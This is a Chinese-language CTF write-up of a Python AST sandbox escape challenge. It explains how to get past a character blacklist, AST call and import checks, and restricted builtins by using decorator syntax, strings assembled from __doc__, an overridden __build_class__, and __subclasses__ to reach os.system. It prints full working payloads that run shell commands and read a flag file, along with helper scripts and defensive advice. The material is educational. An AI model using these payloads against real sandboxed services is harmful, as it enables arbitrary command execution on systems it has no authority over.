国城杯线下决赛master_ast题解
字数 1037 2025-08-22 12:22:42
Python AST 沙箱逃逸技术详解
一、题目背景分析
这是一个CTF题目,涉及Python沙箱逃逸,主要考察对Python AST(抽象语法树)和沙箱绕过技术的理解。题目设置了多重防御机制:
- 字符过滤:黑名单包含
',",(,) - AST限制:通过AST检查禁止了call和import相关操作
- 执行环境限制:设置了globals的白名单
二、核心防御机制解析
1. 字符过滤 (BLACK_LIST)
BLACK_LIST = ['\'', '\"', '(', ')']
禁止了单引号、双引号和括号的使用,这使得常规的函数调用和字符串定义变得困难。
2. AST检查机制
def check_ast(m):
for node in ast.walk(m):
node_type = type(node).__name__
if attributes.get(node_type, True) is False:
return False
return True
通过attributes字典限制了特定AST节点的使用,特别是Call和Import相关节点被设置为False。
3. 执行环境限制
safe_globals = {
'__builtins__': {
'pow': pow, 'divmod': divmod, 'min': min, 'max': max,
'sum': sum, 'complex': complex, 'oct': oct, 'hex': hex
}
}
只允许使用有限的几个内置函数,其他函数都被禁止。
三、绕过技术详解
1. 绕过括号限制
使用Python的装饰器语法(@)来替代函数调用,因为装饰器语法在AST中不涉及Call节点。
2. 构造字符串
由于引号被过滤,使用__doc__属性来构造字符串:
# 示例:构造"os"字符串
[].__doc__[32] + [].__doc__[17]
3. 关键绕过技术
(1) 修改__build_class__
__builtins__["__build_class__"] = lambda *_: [].__class__.__base__
重写类的构建过程,使其返回object基类。
(2) 获取object子类
__builtins__["__build_class__"] = lambda *_: [].__class__.__base__
@[].__class__.__base__.__class__.__subclasses__
class s: _
利用装饰器语法调用__subclasses__方法。
(3) 加载os模块
@s[120].load_module
@lambda _: "os"
class o: _
通过_frozen_importlib.BuiltinImporter(索引120)加载os模块。
(4) 执行系统命令
@o.system
@lambda _: "whoami"
class _: _
调用system方法执行命令。
四、完整Payload构造
1. 创建目录回显
__builtins__[ [].__doc__.__doc__[31] + [].__doc__.__doc__[31] + [].__doc__[13]
+ [].__doc__[1] + [].__doc__[2] + [].__doc__[3] + [].__doc__[139]
+ [].__doc__.__doc__[31] + [].__doc__[23] + [].__doc__[3]
+ [].__doc__[12] + [].__doc__[17] + [].__doc__[17]
+ [].__doc__.__doc__[31] + [].__doc__.__doc__[31] ] = lambda *_: [].__class__.__base__
@[].__class__.__base__.__class__.__subclasses__
class s: _
@s[120].load_module
@lambda _: [].__doc__[32] + [].__doc__[17]
class o: _
@o.system
@lambda _: {}.__doc__[15] + {}.__doc__[104] + {}.__doc__[0]
+ {}.__doc__[1] + {}.__doc__[28] + {}.__doc__[6]
+ {}.__doc__[97] + {}.__doc__[3] + {}.__doc__[27]
+ {}.__doc__[3] + {}.__doc__[1] + {}.__doc__[2]
class _: _
2. 读取flag
__builtins__[ [].__doc__.__doc__[31] + [].__doc__.__doc__[31] + [].__doc__[13]
+ [].__doc__[1] + [].__doc__[2] + [].__doc__[3] + [].__doc__[139]
+ [].__doc__.__doc__[31] + [].__doc__[23] + [].__doc__[3]
+ [].__doc__[12] + [].__doc__[17] + [].__doc__[17]
+ [].__doc__.__doc__[31] + [].__doc__.__doc__[31] ] = lambda *_: [].__class__.__base__
@[].__class__.__base__.__class__.__subclasses__
class s: _
@s[120].load_module
@lambda _: [].__doc__[32] + [].__doc__[17]
class o: _
@o.system
@lambda _: {}.__doc__[2] + {}.__doc__[27] + {}.__doc__[3]
+ {}.__doc__[6] + divmod.__doc__[19] + {}.__doc__[75]
+ {}.__doc__[69] + {}.__doc__[27] + {}.__doc__[42]
+ {}.__doc__[6] + {}.__doc__[8] + {}.__doc__[6]
+ {}.__doc__[97] + {}.__doc__[3] + {}.__doc__[27]
+ {}.__doc__[3] + {}.__doc__[1] + {}.__doc__[2]
+ divmod.__doc__[19] + {}.__doc__[27] + {}.__doc__[335]
+ {}.__doc__[3] + {}.__doc__[343] + {}.__doc__[3]
class _: _
五、辅助工具
1. 查找模块位置
import re
def ssti(array, keywords):
result = []
for index, element in enumerate(array):
if keywords in element:
result.append((index, element))
return result
def find_by_index(array, index):
if 0 <= index < len(array):
return index, array[index]
else:
return None
data = input("输入模块列表: ")
keywords = input("输入要查找的关键字: ")
data1 = data.replace("[", "")
data2 = data1.replace("]", "")
data3 = re.sub(r'\s+<', '<', data2)
array = data3.split(",")
if keywords.isdigit():
index = int(keywords)
result = find_by_index(array, index)
if result:
print(f"{result[0]}: {result[1]}")
else:
print(f"输入的索引 {index} 超出数组范围。")
else:
results = ssti(array, keywords)
if results:
for index, element in results:
print(f"{index}: {element}")
else:
print(f"未找到包含 '{keywords}' 的元素。")
2. 构造字符串工具
a = [].__doc__
char = "cat /flag"
result = []
for s in char:
index = a.find(s)
if index != -1:
result.append(f"[].__doc__[{index}]")
else:
print(f"Character '{s}' not found in d's docstring.")
result.append("'?'")
expression = "+".join(result)
print(expression)
六、技术要点总结
- 装饰器语法绕过:利用
@语法在不使用括号的情况下调用函数 __doc__构造字符串:通过访问内置对象的文档字符串来拼凑所需字符- 修改
__build_class__:重写类构建过程实现代码执行 - 子类查找技巧:通过object基类获取所有子类,找到可用的导入器
- 模块索引定位:不同Python版本中模块索引可能不同,需要动态查找
七、防御建议
- 避免使用
exec执行不可信代码 - 加强AST检查,限制更多危险节点类型
- 对
__builtins__进行更严格的限制 - 监控和限制对
__build_class__等关键属性的修改 - 考虑使用更安全的沙箱环境如PyPy沙箱或Docker容器